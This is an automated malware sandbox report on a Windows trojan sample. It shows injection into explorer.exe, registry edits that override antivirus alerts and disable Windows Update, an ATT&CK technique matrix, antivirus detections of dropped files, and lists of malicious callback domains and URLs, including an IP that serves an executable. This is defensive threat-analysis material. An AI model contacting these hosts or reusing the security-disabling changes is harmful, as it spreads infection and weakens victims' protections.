Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10950000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10960000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10970000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10980000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10990000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 109A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 109B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 109C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 109D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 109E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 109F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10A90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10AA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10AC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10AD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10AE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10AF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10B90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10BA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10BB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10BC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10BD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10BE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10BF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10C00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10C10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10C20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10C40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10DA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10DB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10DC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10DD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10CE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10CF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10DE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10DF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10C30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10CD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10D30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10E90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10EA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10EB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10EC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10ED0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10EE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10EF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10F80000	Jump to behavior

Source: winlogon.exe, 00000004.00000002.3707401394.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1234459930.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3709384186.0000000004880000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000004.00000002.3707401394.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1234459930.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3706506543.0000000001441000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000004.00000002.3707401394.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1234459930.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3706506543.0000000001441000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: explorer.exe, 00000005.00000002.3703900376.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1237856491.0000000000C59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman
Source: winlogon.exe, 00000004.00000002.3707401394.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.1234459930.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3706506543.0000000001441000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

0_2_0040265F

Source: C:\Users\user\Desktop\Ey6iI0wxsf.exe

0_2_004033EB

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverride

Jump to behavior

Modifies windows update settings

Source: C:\Windows\SysWOW64\onbeateax-oded.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU NoAutoUpdate

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	32 Process Injection	121 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	2 Disable or Modify Tools	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	11 Image File Execution Options Injection	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Image File Execution Options Injection	32 Process Injection	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	3 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ey6iI0wxsf.exe	87%	ReversingLabs	Win32.Trojan.Ulpm
Ey6iI0wxsf.exe	89%	Virustotal		Browse
Ey6iI0wxsf.exe	100%	Avira	TR/Drop.Age.apd.1.E
Ey6iI0wxsf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\unruhix-udex.dll	100%	Avira	TR/Dldr.Agent.apd.18
C:\Windows\SysWOW64\onbeateax-oded.exe	100%	Avira	TR/Drop.Age.apd.1.E
C:\Windows\SysWOW64\eapdotet.dll	100%	Avira	TR/Dldr.Agent.apd.17
C:\Windows\SysWOW64\orfoakup.exe	100%	Avira	TR/Drop.Age.apd.1.E
C:\Windows\SysWOW64\egfehex.exe	100%	Avira	TR/Drop.Age.apd.1.E
C:\Users\user\AppData\Roaming\tmpE8BD.tmp	100%	Avira	TR/Drop.Age.apd.1.E
C:\Windows\SysWOW64\onbeateax-oded.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\orfoakup.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\egfehex.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\unruhix-udex.dll	91%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\SysWOW64\eapdotet.dll	95%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\SysWOW64\onbeateax-oded.exe	87%	ReversingLabs	Win32.Trojan.Ulpm

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
qkhoq.vg	0%	Virustotal	Browse
zadykwd.ws	0%	Virustotal	Browse
wqncc.vg	0%	Virustotal	Browse
mxrcu.vg	0%	Virustotal	Browse
wemqmaugvti.vg	0%	Virustotal	Browse
ihmqwebenkcyl.vg	0%	Virustotal	Browse
ouwmfwh.ws	0%	Virustotal	Browse
teposqumcrg.vg	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://utbidet-ugeas.biz/d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D	100%	Avira URL Cloud	phishing
https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world	0%	Avira URL Cloud	safe
https://api.msn.com:443/v1/news/Feed/Windows?t	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	Avira URL Cloud	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0	100%	Avira URL Cloud	phishing
https://api.msn.com:443/v1/news/Feed/Windows?	0%	Virustotal		Browse
http://utbidet-ugeas.biz/d/N?029C5A06C29C5A06C2AD5A2AC29C5AA4585E7C9AC49D5AC66A9E5D30ECAE743FF0AC6A28C2	100%	Avira URL Cloud	phishing
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	Virustotal		Browse
http://utbidet-ugeas.biz/d/cc	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E	100%	Avira URL Cloud	phishing
https://excel.office.com	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/cc	8%	Virustotal		Browse
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0230CF84B230CF84B201CFA8B230CF2628F2E918B431CF441A32C8B29C02E1BD8000FFAAB2	100%	Avira URL Cloud	phishing
https://excel.office.com	0%	Virustotal		Browse
http://utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C76D	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB	100%	Avira URL Cloud	phishing
https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc	0%	Avira URL Cloud	safe
http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC	0%	Avira URL Cloud	safe
https://wns.windows.com/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?ntdbg.exeidbg32.exeahuy.exeaset32	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02F3ED33FBF3ED33FBC2ED1FFBF3ED916131CBAFFDF2EDF353F1EA05D5C1C30AC9C3DD1DFB	100%	Avira URL Cloud	phishing
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
https://word.office.com	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/rpt?	0%	Avira URL Cloud	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2	100%	Avira URL Cloud	phishing
http://%s.biz/d/N?	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	0%	Avira URL Cloud	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C	100%	Avira URL Cloud	phishing
https://outlook.com	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029CFCB2829CFCB282ADFC9E829CFC10185EDA2E849DFC722A9EFB84ACAED28BB0ACCC9C82	100%	Avira URL Cloud	phishing
http://slmkgcf.mp/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02C6FAE582C6FAE582F7FAC982C6FA471804DC7984C7FA252AC4FDD3ACF4D4DCB0F6CACB82	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13	100%	Avira URL Cloud	phishing
https://android.notify.windows.com/iOS	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C	100%	Avira URL Cloud	phishing
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?022E1237F22E1237F21F121BF22E129568EC34ABF42F12F75A2C1501DC1C3C0EC01E2219F2	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286	100%	Avira URL Cloud	phishing
https://api.msn.com/v1/news/Feed/Windows?	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	0%	Avira URL Cloud	safe
https://www.pollensense.com/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0250612A1650612A16616106165061888C9247B6105161EABE52661C38624F132460510416	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8	100%	Avira URL Cloud	phishing
https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	0%	Avira URL Cloud	safe
http://schemas.micro	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6	100%	Avira URL Cloud	phishing
https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-	0%	Avira URL Cloud	safe
http://%s.biz/d/G?	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033BPf	100%	Avira URL Cloud	phishing
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02D069737AD069737AE1695F7AD069D1E0124FEF7CD169B3D2D26E4554E2474A48E0595D7A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430	100%	Avira URL Cloud	phishing
http://aupdmfk.nu/	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm	0%	Avira URL Cloud	safe
